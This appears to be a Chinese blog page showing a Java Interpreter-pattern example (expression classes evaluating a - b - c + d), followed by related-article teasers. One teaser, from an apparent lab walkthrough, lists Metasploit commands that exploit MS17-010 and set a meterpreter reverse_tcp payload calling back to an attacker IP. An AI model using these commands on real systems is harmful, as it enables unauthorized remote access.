}/*** 减法表达式类 非终结符表达式角色*/
public class Minus extends AbstractExpression{// - 左边的表达式private AbstractExpression left;// - 右边的表达式private AbstractExpression right;public Minus(AbstractExpression left, AbstractExpression right) {this.left = left;this.right = right;}@Overridepublic int interpret(Context context) {return left.interpret(context) - right.interpret(context);}@Overridepublic String toString() {return "(" + left.toString() + " - " + right.toString() + ")";}
}/*** 环境角色类*/
public class Context {//用来存储变量及对应的值private Map<Variable,Integer> map = new HashMap<>();//添加变量public void assign(Variable key,int value){map.put(key,value);}//根据变量获取对应的值public int getValue(Variable key){return map.get(key);}}public class Test {public static void main(String[] args) {//创建环境对象Context context = new Context();//创建多个变量对象Variable a = new Variable("a");Variable b = new Variable("b");Variable c = new Variable("c");Variable d = new Variable("d");//将变量存储到环境对象中context.assign(a,1);context.assign(b,2);context.assign(c,3);context.assign(d,4);//获取抽象语法树 a - b - c + dAbstractExpression expression = new Minus(a,new Plus(new Minus(b,c),d));//计算int ans = expression.interpret(context);System.out.println(expression + " = " + ans);}}
相关文章:
设计模式-行为型模式
文章目录 一、模板方法模式二、策略模式三、命令模式四、责任链模式五、状态模式六、观察者模式七、中介者模式八、迭代器模式九、访问者模式十、备忘录模式十一、解释器模式 一、模板方法模式 定义一个操作中的算法骨架,而将算法的一些步骤延迟到子类中࿰…...
【EventLoop】问题一次搞定
📍 JS的事件循环机制恐怕是大多数前端开发者头顶上的一座大山之一,最近通过拜读两篇文档,对eventloop进行了深刻的理解;通过这篇文档对要点进行总结; article1: 波神的这篇eventLoop文章适合反复重温&…...
Unity中Shader光照模型Phong
文章目录 前言一、Phong光照模型二、图示解释Phone光照模型1、由图可得,R 可以由 -L 加上 P 得出2、P等于2*M3、因为 N 和 L 均为单位向量,所以 M 的模可以由 N 和 L得出4、得到M的模后,乘以 单位向量N,得到M5、最后得出 P 和 R 前…...
消息队列缓存,以蓝牙消息服务为例
前言 消息队列缓存,支持阻塞、非阻塞模式;支持协议、非协议模式 可自定义消息结构体数据内容 使用者只需设置一些宏定义、调用相应接口即可 这里我用蓝牙消息服务举例 有纰漏请指出,转载请说明。 学习交流请发邮件 1280253714qq.com 原…...
MSF派生给另外MSF,meterpreter派生给另外meterpreter,Metasploit
首先是通过ms17_010永恒之蓝拿下shell,192.168.50.146为受害者靶机,192.168.50.130为kali的ip set autorunscript post/windows/manage/migrate nameservices.exe set payload windows/x64/meterpreter/reverse_tcp set lport 5577 set lhost 192.168.50.130 use exploit/windo…...
【LeetCode】1.两数之和
目录 1 问题2 答案2.1 枚举法 (自己写的)2.2 哈希表 3 问题 1 问题 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。 你可以假设每种输入只会对应…...
3. Windows下C++/MFC调用hiredis库操作redis示例
一、头文件目录 将之前下载和编译好的Redis目录拷贝到新建好的工程目录下面,再点击测试工程的右键/属性,点击C/常规,附加包含目录添加以下路径,注意如果原先有多个路径,在末尾处添加分号后再粘贴: 点击C/常…...
200、使用默认 Exchange 实现 P2P 消息 之 消息生产者(发送消息) 和 消息消费者(消费消息)
RabbitMQ 工作机制图: Connection: 代表客户端(包括消息生产者和消费者)与RabbitMQ之间的连接。 Channel: 连接内部的Channel。channel:通道 Exchange: 充当消息交换机的组件。 Queueÿ…...
SqlServer--get 和 post 请求 http接口
1. 开启 不开启报错 如下 4.1 SQL Server blocked access to procedure ‘sys.sp_OACreate’ sp_configure show advanced options, 1;GORECONFIGURE;GOsp_configure Ole Automation Procedures, 1;GORECONFIGURE;GO2. post Declare ServiceUrl nvarchar(MAX) Declare req_…...
利用人工智能提升企业培训的个性化体验
随着科技的不断进步,人工智能(AI)正逐渐渗透到各个领域。而在企业培训领域,人工智能也展现出了巨大的潜力。利用人工智能技术的企业培训系统,企业可以为员工提供个性化、高效的培训体验,进一步提升他们的专…...
基于JavaWeb的图书售卖网站(源码+部署+LW)
项目描述 临近学期结束,还是毕业设计,你还在做java程序网络编程,期末作业,老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。今天给大家介绍一篇基于JavaWeb的图书售卖网…...
Java设计模式之代理模式
代理模式是一种结构型设计模式,它允许通过创建一个代理对象来控制对另一个对象的访问。代理模式在软件开发中经常被使用,它可以提供额外的功能,例如远程访问、延迟加载、访问控制和日志记录等。 代理模式涉及三个主要角色: 抽象…...
Oracle数据泵导入和导出命令
–管理员方式登录,新建表空间和用户,并建立文件夹映射路径并授权 CREATE DIRECTORY directory_name AS ‘path_to_directory’; grant read,write on directory directory to backup ** —EXPDP多线程备份数据库脚本–dblink–可以修改为命令行 echo …...
Linux中所有环境变量配置文件及用途
在Linux系统中,有多个文件可以用来配置环境变量,这些文件位于不同的目录和层级,并可以用于不同的目的。以下是一些常见的环境变量配置文件: 系统级环境变量文件: /etc/environment:这个文件包含了系统范围的…...
一文读懂flutter线程: 深入了解Flutter中的多线程编程
深入了解Flutter中的多线程编程 前言一、为什么需要多线程?二、在Flutter中创建线程三、多线程的最佳实践四、Flutter中的多线程示例五、Flutter中的多线程错误处理六、Flutter中的多线程性能优化七、安全性和隐私考虑八、跨平台性考虑 总结 前言 在移动应用开发领域…...
如何限制word文件中部分内容无法编辑
工作中我们经常会用到Word制作一些文件,文件中有一部分内容不想他人编辑,我们可以设置限制编辑,可以对一部分内容设置限制编辑,具体方法如下: 我们将需要将可以编辑的地方选中,然后打开限制编辑功能 然后勾…...
免疫球蛋白介绍
免疫球蛋白(Immunoglobulin,Ig)是广泛存在于哺乳动物血清、淋巴液、组织液和外分泌液中的一种具有抗体活性或化学结构与抗体相似的球蛋白,在机体防御疾病的重要成分在疾病研究、药物研发、疫苗评价中具有重要作用。抗体࿰…...
VMWare 安装CentOS7镜像
安装CentOS 7 整个安装过程分两大步,第一步装机器,第二步装系统. 第一步: 装机器 检查物理机虚拟化支持是否开启,需要进入到BIOS中设置,因各种电脑型号进入BIOS 方式不同,同学们自行查找对应品牌电脑如何进入BIOS 建…...
什么台灯最好学生晚上用?开学适合孩子学习的台灯
作为学龄期儿童的家长,最担心的就是孩子长时间学习影响视力健康。无论是上网课、写作业、玩桌游还是陪伴孩子读绘本,都需要一个足够明亮的照明环境,因此选购一款为孩子视力发展保驾护航的台灯非常重要。推荐五款适合孩子学习的台灯。 1. 书客…...
6.1 C/C++ 封装字符串操作
C/C语言是一种通用的编程语言,具有高效、灵活和可移植等特点。C语言主要用于系统编程,如操作系统、编译器、数据库等;C语言是C语言的扩展,增加了面向对象编程的特性,适用于大型软件系统、图形用户界面、嵌入式系统等。…...
2026年Java面试最常被问的1000道题目及参考答案
Java学到什么程度可以面试工作? 要达到能够面试Java开发工作的水平,需要掌握以下几个方面的知识和技能: 1. 基础扎实:熟悉Java语法、面向对象编程概念、异常处理、I/O流等基础知识。这是所有Java开发者必备的基础,也…...
【卷积神经网络作业实现人脸的关键点定位功能】
下面是完成这道题目的代码:import os import cv2 import numpy as np import pandas as pd import torch import torch.nn as nn from torch.utils.data import Dataset,DataLoader from torchvision import transforms import matplotlib.pyplot as plt1. 数据集定…...
[特殊字符] Nano-Banana效果分享:电动工具齿轮箱高精度啮合关系可视化拆解图
Nano-Banana效果分享:电动工具齿轮箱高精度啮合关系可视化拆解图 你有没有想过,一个复杂的电动工具内部到底长什么样?那些精密的齿轮是如何咬合在一起,将电机的旋转变成强大动力的?传统的产品说明书往往只有一张模糊的…...
PyCharm+Conda环境避坑指南:手把手配置Real-ESRGAN,解决‘torch.cuda.is_available()‘报错和依赖冲突
PyCharmConda环境避坑指南:手把手配置Real-ESRGAN,解决‘torch.cuda.is_available()‘报错和依赖冲突 图像超分辨率技术正在改变我们处理低质量图像的方式,而Real-ESRGAN作为当前最先进的通用图像修复模型之一,其效果令人惊艳。但…...
Kimi-VL-A3B-Thinking效果展示:MMLongBench-Doc 35.1分超长文档理解
Kimi-VL-A3B-Thinking效果展示:MMLongBench-Doc 35.1分超长文档理解 1. 模型概述 Kimi-VL-A3B-Thinking是一款创新的开源混合专家(MoE)视觉语言模型,在多模态理解和长上下文处理方面展现出卓越能力。这个模型最引人注目的特点是…...
C++程序崩溃别慌!手把手教你用backward-cpp+glog捕获并记录堆栈信息(附完整CMake配置)
C程序崩溃别慌!手把手教你用backward-cppglog捕获并记录堆栈信息(附完整CMake配置) 深夜两点,服务器告警突然响起。你揉着惺忪的睡眼查看日志,只看到一行冰冷的"Segmentation fault"——没有调用栈…...
比特币钱包恢复工具btcrecover:从原理到实践的开源解决方案
比特币钱包恢复工具btcrecover:从原理到实践的开源解决方案 【免费下载链接】btcrecover An open source Bitcoin wallet password and seed recovery tool designed for the case where you already know most of your password/seed, but need assistance in tryi…...
writeup
3-hafuhafu - Writeup by AI 题目信息 项目内容平台BugKu类型Crypto (RSA)考点RSA 加密、大数分解、私钥计算 题目描述 题目给出了一个 RSA 公钥和一段 Base64 编码的密文,要求解密得到 flag。 公钥信息: pk (25572000680139535995611501720832880…...
Windows右键菜单终极管理指南:用ContextMenuManager轻松掌控右键菜单
Windows右键菜单终极管理指南:用ContextMenuManager轻松掌控右键菜单 【免费下载链接】ContextMenuManager 🖱️ 纯粹的Windows右键菜单管理程序 项目地址: https://gitcode.com/gh_mirrors/co/ContextMenuManager 还在为杂乱的Windows右键菜单烦…...
别只盯着错误页!从一次线上事故复盘:优化微信小程序web-view体验的5个隐藏细节
从线上事故到极致体验:微信小程序web-view优化的5个实战细节 那天凌晨3点,我被一阵急促的告警声惊醒。监控系统显示,公司核心小程序的H5活动页加载成功率从99.8%暴跌至62%。这个承载着双十一预售活动的页面,每小时流失着数百万潜在…...
